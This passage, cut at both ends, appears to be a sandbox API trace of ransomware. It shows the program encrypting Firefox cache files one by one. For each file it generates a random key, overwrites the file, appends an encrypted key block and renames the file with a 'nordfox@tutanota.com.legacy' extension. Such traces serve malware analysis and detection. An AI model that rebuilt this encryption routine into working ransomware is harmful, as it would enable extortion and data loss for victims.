lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1169, lpOverlapped=0x0) returned 1 [0185.168] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.168] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09f8*, nNumberOfBytesToWrite=0x1169, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1169, lpOverlapped=0x0) returned 1 [0185.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f09f8 | out: hHeap=0x520000) returned 1 [0185.168] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1169 [0185.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7098*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7098*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.168] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7098*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7098*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.169] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.169] CloseHandle (hObject=0x1b80) returned 1 [0185.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.169] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b0bb8e7a612ce55d154e5de8d2ff82496bd452c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b0bb8e7a612ce55d154e5de8d2ff82496bd452c1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7f08 | out: hHeap=0x520000) returned 1 [0185.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8118 | out: hHeap=0x520000) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8538 [0185.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0185.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8538 | out: pbBuffer=0x30e8538) returned 1 [0185.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E", dwFileAttributes=0x80) returned 1 [0185.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7cf8 | out: hHeap=0x520000) returned 1 [0185.171] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b090c2a1718a72751b4f0e82381db6e9e1b4ba9e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.172] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=38766) returned 1 [0185.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x976e) returned 0x2eeb018 [0185.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x976e) returned 0x2ef4790 [0185.172] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x976e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x976e, lpOverlapped=0x0) returned 1 [0185.182] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-38766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.182] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef4790*, nNumberOfBytesToWrite=0x976e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef4790*, lpNumberOfBytesWritten=0x2e1f9bc*=0x976e, lpOverlapped=0x0) returned 1 [0185.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ef4790 | out: hHeap=0x520000) returned 1 [0185.182] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x976e [0185.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8538*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8538*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.183] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8538*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.183] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.183] CloseHandle (hObject=0x1b80) returned 1 [0185.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8538 | out: hHeap=0x520000) returned 1 [0185.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0185.183] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b090c2a1718a72751b4f0e82381db6e9e1b4ba9e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b090c2a1718a72751b4f0e82381db6e9e1b4ba9e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e76c8 | out: hHeap=0x520000) returned 1 [0185.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e75c0 [0185.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0185.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e75c0 | out: pbBuffer=0x30e75c0) returned 1 [0185.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3", dwFileAttributes=0x80) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8d78 [0185.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8d78 | out: hHeap=0x520000) returned 1 [0185.186] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b06646ad5f1441555865045f21a52c8bbf2e7cb3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.186] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3197) returned 1 [0185.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc7d) returned 0x30ef880 [0185.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc7d) returned 0x30f0508 [0185.186] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xc7d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xc7d, lpOverlapped=0x0) returned 1 [0185.187] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3197, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0508*, nNumberOfBytesToWrite=0xc7d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0508*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc7d, lpOverlapped=0x0) returned 1 [0185.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0508 | out: hHeap=0x520000) returned 1 [0185.188] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc7d [0185.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e75c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e75c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e75c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e75c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.188] CloseHandle (hObject=0x1b80) returned 1 [0185.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e75c0 | out: hHeap=0x520000) returned 1 [0185.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0185.188] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b06646ad5f1441555865045f21a52c8bbf2e7cb3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b06646ad5f1441555865045f21a52c8bbf2e7cb3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7ae8 | out: hHeap=0x520000) returned 1 [0185.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e71a0 [0185.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7ae8 [0185.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7ae8 | out: pbBuffer=0x30e7ae8) returned 1 [0185.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.193] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB", dwFileAttributes=0x80) returned 1 [0185.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8430 [0185.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8430 | out: hHeap=0x520000) returned 1 [0185.194] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\afcd4e2171f687885ca634257be22688068a88db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.194] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3828) returned 1 [0185.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef4) returned 0x30ef880 [0185.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef4) returned 0x30f0780 [0185.194] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0185.348] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.348] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0780*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0185.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0780 | out: hHeap=0x520000) returned 1 [0185.348] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0185.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7ae8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7ae8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7ae8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7ae8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.349] CloseHandle (hObject=0x1b80) returned 1 [0185.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7ae8 | out: hHeap=0x520000) returned 1 [0185.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.349] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\afcd4e2171f687885ca634257be22688068a88db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\afcd4e2171f687885ca634257be22688068a88db.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e71a0 | out: hHeap=0x520000) returned 1 [0185.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8850 | out: hHeap=0x520000) returned 1 [0185.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0185.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0185.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7cf8 | out: pbBuffer=0x30e7cf8) returned 1 [0185.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0185.351] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68", dwFileAttributes=0x80) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7e00 [0185.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7e00 | out: hHeap=0x520000) returned 1 [0185.352] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad7a5673189c3d8259e7b3fe0033e19e1674cc68"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.352] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15276) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3bac) returned 0x30ef880 [0185.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3bac) returned 0x2eeb018 [0185.352] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x3bac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bac, lpOverlapped=0x0) returned 1 [0185.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-15276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x3bac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bac, lpOverlapped=0x0) returned 1 [0185.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bac [0185.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7cf8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7cf8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.384] CloseHandle (hObject=0x1b80) returned 1 [0185.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7cf8 | out: hHeap=0x520000) returned 1 [0185.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0185.384] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad7a5673189c3d8259e7b3fe0033e19e1674cc68"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad7a5673189c3d8259e7b3fe0033e19e1674cc68.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e74b8 | out: hHeap=0x520000) returned 1 [0185.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8328 [0185.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8328 | out: pbBuffer=0x30e8328) returned 1 [0185.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.386] SetFileAttributesW 